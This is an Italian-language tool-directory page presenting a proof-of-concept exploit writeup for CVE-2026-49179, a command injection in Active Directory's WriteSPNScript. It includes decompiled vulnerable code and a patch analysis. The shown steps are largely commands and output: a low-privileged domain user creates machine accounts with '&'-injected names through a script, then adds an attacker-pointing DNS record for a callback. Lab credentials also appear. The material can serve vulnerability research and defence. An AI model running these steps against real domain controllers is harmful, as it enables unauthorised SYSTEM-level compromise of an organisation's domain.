Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-49179-Active-Directory-WriteSPNScript-Command-Injection — Proof-of-concept e script di exploit per CVE-2026-49179, un'iniezione di comandi nella funzione WriteSPNScript di Active Directory che consente RCE come SYSTEM sui domain controller. | Kitploit
Strumenti/GitHubGitHub/overgrowncarrot1/cve-2026-49179-active-directory-writespnscript-command-injection
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitPenetration Testing
GitHubovergrowncarrot1/cve-2026-49179-active-directory-writespnscript-command-injection

CVE-2026-49179-Active-Directory-WriteSPNScript-Command-Injection

Proof-of-concept e script di exploit per CVE-2026-49179, un'iniezione di comandi nella funzione WriteSPNScript di Active Directory che consente RCE come SYSTEM sui domain controller.

Vedi Repository

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
52541 mese faNon ancora revisionato

CVE-2026-49179: Command Injection in WriteSPNScript di Active Directory

Riepilogo

CampoValore
CVE IDCVE-2026-49179
CVSS8.8 (AV:N/AC:L/PR:L/UI:N)
CWECWE-77 (Command Injection)
Componente interessatontdsai.dll — funzione WriteSPNScript
Sistemi interessatiWindows Server 2016, 2019, 2022, 2025 (pre-patch)
Vettore di attaccoUtente di dominio autenticato (qualsiasi)
ImpattoEsecuzione di codice remoto come SYSTEM sul Domain Controller
PubblicatoAgosto 2026

Descrizione della vulnerabilità

La funzione WriteSPNScript in ntdsai.dll genera comandi di script batch per la correzione degli SPN (Service Principal Name) durante le operazioni di manutenzione di Active Directory. La funzione utilizza una stringa di formato per costruire i comandi repadmin.exe /writespn ma non sanifica il parametro Distinguished Name (DN), consentendo l'injection di comandi tramite il carattere & (separatore di comandi di cmd.exe).

La stringa di formato vulnerabile:

%ws\repadmin.exe /writespn %ws %ws %ws\r\n

Parametri: SystemDir, WriteOp (ADD/DELETE), DN, SPN_value

Il DN deriva dal Common Name (CN) dell'account macchina, impostato durante la creazione dell'account. Quando un account macchina viene creato con metacaratteri della shell nel suo nome, tali caratteri fluiscono senza escape nello script generato. Quando cmd.exe esegue lo script, & agisce come separatore di comandi, eseguendo comandi controllati dall'attaccante come SYSTEM.

Analisi della causa radice

La lacuna di validazione: SAMR vs LDAP

Active Directory dispone di due protocolli principali per la gestione degli account macchina:

ProtocolloValidazione dei caratteriMetacaratteri della shell
LDAP (valori SPN)Rigorosa — CONSTRAINT_ATT_TYPE rifiuta & ; | ' \ $ ( )`Bloccati
SAMR (nomi macchina)Perfettiva — valida il formato base del nome accountConsentiti: & ' \ $ ( ) ! spazio`

Questa asimmetria di validazione è la causa radice:

  • La validazione LDAP degli SPN blocca tutti i caratteri pericolosi nei valori SPN (vicolo cieco per l'injection tramite SPN)
  • La creazione di account SAMR consente metacaratteri della shell in sAMAccountName, che diventa il CN e confluisce nel DN
  • Il DN viene passato a WriteSPNScript senza sanitizzazione

Codice vulnerabile (ntdsai.dll di base)

All'indirizzo 0x1802a98a0 nel binario non patchato:

void WriteSPNScript(... longlong param_4 /* DN */, longlong *param_5 /* SPNs */, ...)
{
    STRSAFE_LPSTR pszDest;  // ANSI output buffer
    char local_288[47];     // Format: "%ws\repadmin.exe /writespn %ws %ws %ws\r\n"
    WCHAR local_258[264];   // System directory

    GetSystemDirectoryW(local_258, 0x104);

    // Calculate buffer size (sum of all string lengths + overhead)
    uVar4 = len(sysdir) + len(writeop) + len(spn_value) + len(dn) + 0x2f;

    // Allocate and format — NO ESCAPING of DN or SPN parameters
    pszDest = THAlloc_(param_1, 1, uVar4, 1);
    StringCchPrintfA(pszDest, uVar4, local_288, local_258);

    // Write to script file handle
    WriteFile(handle, pszDest, len, &bytesWritten, NULL);
}

StringCchPrintfA formatta il DN direttamente nel buffer di output. Nessun escaping, nessuna quotatura, nessuna sanitizzazione.

Output generato (vulnerabile)

Per una macchina con CN=A&ping attacker&B:

C:\Windows\System32\repadmin.exe /writespn ADD CN=A&ping attacker&B,CN=Computers,DC=domain,DC=local HOST/A&ping attacker&B

cmd.exe interpreta questo come cinque istruzioni separate:

#IstruzioneRisultato
1C:\...\repadmin.exe /writespn ADD CN=AFallisce (DN troncato)
2ping attackerINJECTED — viene eseguito come SYSTEM
3B,CN=Computers,DC=... HOST/AFallisce (non è un comando valido)
4ping attackerINJECTED — viene eseguito di nuovo (dal parametro SPN)
5BFallisce (non è un comando valido)

Il comando iniettato appare due volte — una dal parametro DN e una dal parametro SPN (che contiene anche il nome della macchina).

Analisi della patch

La versione corretta di WriteSPNScript (dimensione: da 1477 a 2005 byte) apporta tre modifiche:

1. Aggiunta di funzioni di escaping

Due nuove funzioni di sanitizzazione applicate a entrambi i parametri DN e SPN:

  • EscapeForPowerShellSingleQuote() — effettua l'escape di ' per impedire la fuoriuscita dalle stringhe tra apici singoli
  • EscapeForNativeArgvBackslashesBeforeDoubleQuote() — effettua l'escape delle sequenze \ prima di " per il parsing nativo di argv

2. Modifica del formato di output

Base (vulnerabile)Corretta
FunzioneStringCchPrintfA (ANSI)StringCchPrintfW (Wide/Unicode)
QuotingNessunoParametri tra apici singoli
Outputrepadmin /writespn ADD DN SPNrepadmin /writespn ADD 'escaped_DN' 'escaped_SPN'

3. Rimozione del feature flag

Una revisione precedente aveva un feature flag Feature_Servicing_SPN_alias_WRITE_PROP_check_37148918__private_IsEnabled che controllava la correzione. Nella patch finale, questo flag è stato rimosso — la correzione è sempre attiva e non può essere disabilitata.

Proof of Concept

Ambiente di test

HostRuoloIPOS
WINTERFELLDomain Controller192.168.56.11Windows Server 2019
AttackerKali Linux192.168.14.238Kali 2026
Dominionorth.sevenkingdoms.local
Utente con privilegi bassisamwell.tarly / HeartsbaneUtente di dominio normale
Utente amministratorerobb.stark / sexywolfyAmministratore di dominio

Passo 1: Verificare che SAMR accetti i metacaratteri della shell

Utilizzando spn_probe3.py, sono stati testati quali caratteri SAMR accetta nei nomi degli account macchina rispetto a quelli che LDAP accetta nei valori SPN:

SAMR Machine Name Character Test (as samwell.tarly):
  [+] ACCEPTED  '   (single quote)     -> INJECT'A$  RID: 1123
  [+] ACCEPTED  `   (backtick)         -> INJECT`A$  RID: 1124
  [+] ACCEPTED  &   (ampersand)        -> INJECT&A$  RID: 1125
  [+] ACCEPTED  $   (dollar sign)      -> INJECT$A$  RID: 1126
  [+] ACCEPTED  (   (left paren)       -> INJECT(A$  RID: 1127
  [+] ACCEPTED  )   (right paren)      -> INJECT)A$  RID: 1128
  [+] ACCEPTED  !   (exclamation)      -> INJECT!A$  RID: 1129
  [+] ACCEPTED  ' ' (space)            -> INJECT A$  RID: 1130

LDAP SPN Validation (all 28 shell metacharacters tested):
  [-] ALL REJECTED with constraintViolation (DSID-033E109C)

Risultato chiave: SAMR consente tutti gli 8 metacaratteri della shell testati. LDAP li blocca tutti. Il vettore di injection passa attraverso i nomi macchina creati da SAMR, non attraverso i valori SPN.

Passo 2: Creare la macchina di injection come utente di dominio normale

$ python3 spn_prl_exploit.py 192.168.56.11 \
    -d north.sevenkingdoms.local \
    -u samwell.tarly -p Heartsbane --payload benign

[*] Creating machine via SAMR: 'A&echo POC&B$'
[+] Created A&echo POC&B$, RID: 1137

Anche creato come samwell.tarly:

[+] Created C&ping a&D$, RID: 1138

Confermato: un utente di dominio normale (PR:L) può creare account macchina con iniezione di comandi & nel nome.

Passo 3: Aggiungere un record DNS per il callback (come utente normale)

Gli utenti di dominio normali possono aggiungere record ADIDNS. È stato usato dnstool.py per creare un hostname breve che punta all'attaccante:

python3 dnstool.py -u 'north.sevenkingdoms.local\samwell.tarly' -p 'Heartsbane' \
    -r a.north.sevenkingdoms.local -a add -d 192.168.14.238 192.168.56.11
Scarica lo strumento